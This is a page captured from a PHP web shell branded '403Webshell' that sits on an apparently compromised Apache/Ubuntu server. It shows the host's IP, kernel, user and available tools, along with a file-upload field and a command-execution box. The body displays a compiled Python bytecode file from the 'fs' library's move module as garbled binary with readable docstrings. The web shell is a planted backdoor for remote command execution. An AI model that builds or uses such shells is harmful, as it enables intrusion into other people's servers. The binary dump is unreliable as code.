403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/move.cpython-312.pyc
�

��ob0����dZddlmZmZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZej$rddlmZmZddlmZ		dd
�Z		dd�Z		dd�Zy)z0Functions for moving files between filesystems.
�)�print_function�unicode_literalsN�)�
commonpath)�copy_dir�	copy_file)�FSError)�	manage_fs)�OSFS)�frombase)�Text�Union)�FSc�&�t|d|d||��y)a�Move the contents of a filesystem to another filesystem.

    Arguments:
        src_fs (FS or str): Source filesystem (instance or URL).
        dst_fs (FS or str): Destination filesystem (instance or URL).
        workers (int): Use `worker` threads to copy data, or ``0`` (default) for
            a single-threaded copy.
        preserve_time (bool): If `True`, try to preserve mtime of the
            resources (defaults to `False`).

    �/��workers�
preserve_timeN)�move_dir)�src_fs�dst_fsrrs    �)/usr/lib/python3/dist-packages/fs/move.py�move_fsrs��$
�V�S�&�#�w�m�T�c�F�t|d��5}t|dd��5}||ur'|j||d|��	ddd�ddd�y|j|�r�|j|�r�	|j|�}|j|�}	t	||	g�}
|
r�t|
|�}t|
|	�}|j
�5|j
�5t|
�5}
|
j|||��	ddd�ddd�ddd�ddd�ddd�y|j
�5|j
�5t|||||��	|j|�	ddd�ddd�ddd�ddd�y#1swYnxYw	ddd�n#1swYnxYwddd���#1swY��xYw#t$rY��wxYw#t$r}|r|j|�|�d}~wwxYw#1swY��xYw#1swY��xYw#1swY��xYw#1swYyxYw)aRMove a file from one filesystem to another.

    Arguments:
        src_fs (FS or str): Source filesystem (instance or URL).
        src_path (str): Path to a file on ``src_fs``.
        dst_fs (FS or str): Destination filesystem (instance or URL).
        dst_path (str): Path to a file on ``dst_fs``.
        preserve_time (bool): If `True`, try to preserve mtime of the
            resources (defaults to `False`).
        cleanup_dst_on_error (bool): If `True`, tries to delete the file copied to
            ``dst_fs`` if deleting the file from ``src_fs`` fails (defaults to `True`).

    T��	writeable�r�create)�	overwriterN)r)r
�move�
hassyspath�
getsyspathrr�lockr�
ValueErrorr�remover	)r�src_pathr�dst_pathr�cleanup_dst_on_error�_src_fs�_dst_fs�src_syspath�dst_syspath�common�rel_src�rel_dst�base�es               r�	move_filer3*s��,
�6�T�	*�,�g�
�v��d�
;�+	�w��'�!�����h�$�m����
+	�,�,��!�!�(�+��0B�0B�8�0L��")�"4�"4�X�">�K�")�"4�"4�X�">�K�'��k�(B�C�F��"*�6�;�"?��"*�6�;�"?��$�\�\�^�'�W�\�\�^�'�!%�f��'�� $�	�	�'�7�-�	� X� &�'�'�'�%+	�,�,�:����
�����
������"/����N�N�8�,�
�
�9+	�,�,�('�'��'�'�'�'��'�'�'��"����� ��,����x�0��G����
�
��
�
��9+	�+	��,�,�s��H�H�H�	"H�,AF>�F2�F	�"F�8F	�F2�F>�H�!H�1G?�G3	�G
�&G?�.H�6H�F�F	�	F2�F&
�"F2�)	F>�2F;�7F>�>	G
�H�	G
�
H�
	G0�G+�+G0�0G3	�3G<
�8G?�?H�H�H	�H�H c��t|d��5}t|dd��5}|j�5|j�5|j|d��t||||||��|j	|�ddd�ddd�ddd�ddd�y#1swY�"xYw#1swY�&xYw#1swY�*xYw#1swYyxYw)a,Move a directory from one filesystem to another.

    Arguments:
        src_fs (FS or str): Source filesystem (instance or URL).
        src_path (str): Path to a directory on ``src_fs``
        dst_fs (FS or str): Destination filesystem (instance or URL).
        dst_path (str): Path to a directory on ``dst_fs``.
        workers (int): Use ``worker`` threads to copy data, or ``0``
            (default) for a single-threaded copy.
        preserve_time (bool): If `True`, try to preserve mtime of the
            resources (defaults to `False`).

    Trr)�recreaterN)r
r$�makedirr�
removetree)rr'rr(rrr*r+s        rrros���,
�6�T�	*�-�g�
�v��d�
;�	-�w�����

-�����

-�����4��8������#�"/�
��"�"�8�,�

-�

-�	-�-�-�

-�

-��

-�

-��	-�	-��-�-�sP�B:�B.�B"�6B	�5B"�=B.�B:�B
�B"�"B+�'B.�.B7	�3B:�:C)rF)FT)�__doc__�
__future__rr�typing�_pathcompatr�copyrr�errorsr	�openerr
�osfsr�pathr�
TYPE_CHECKINGr
rr1rrr3r�rr�<module>rCs]���8�
�#�%�����	���"��
��	U�4��
B�T
��
"-r

Youez - 2016 - github.com/yon3zu
LinuXploit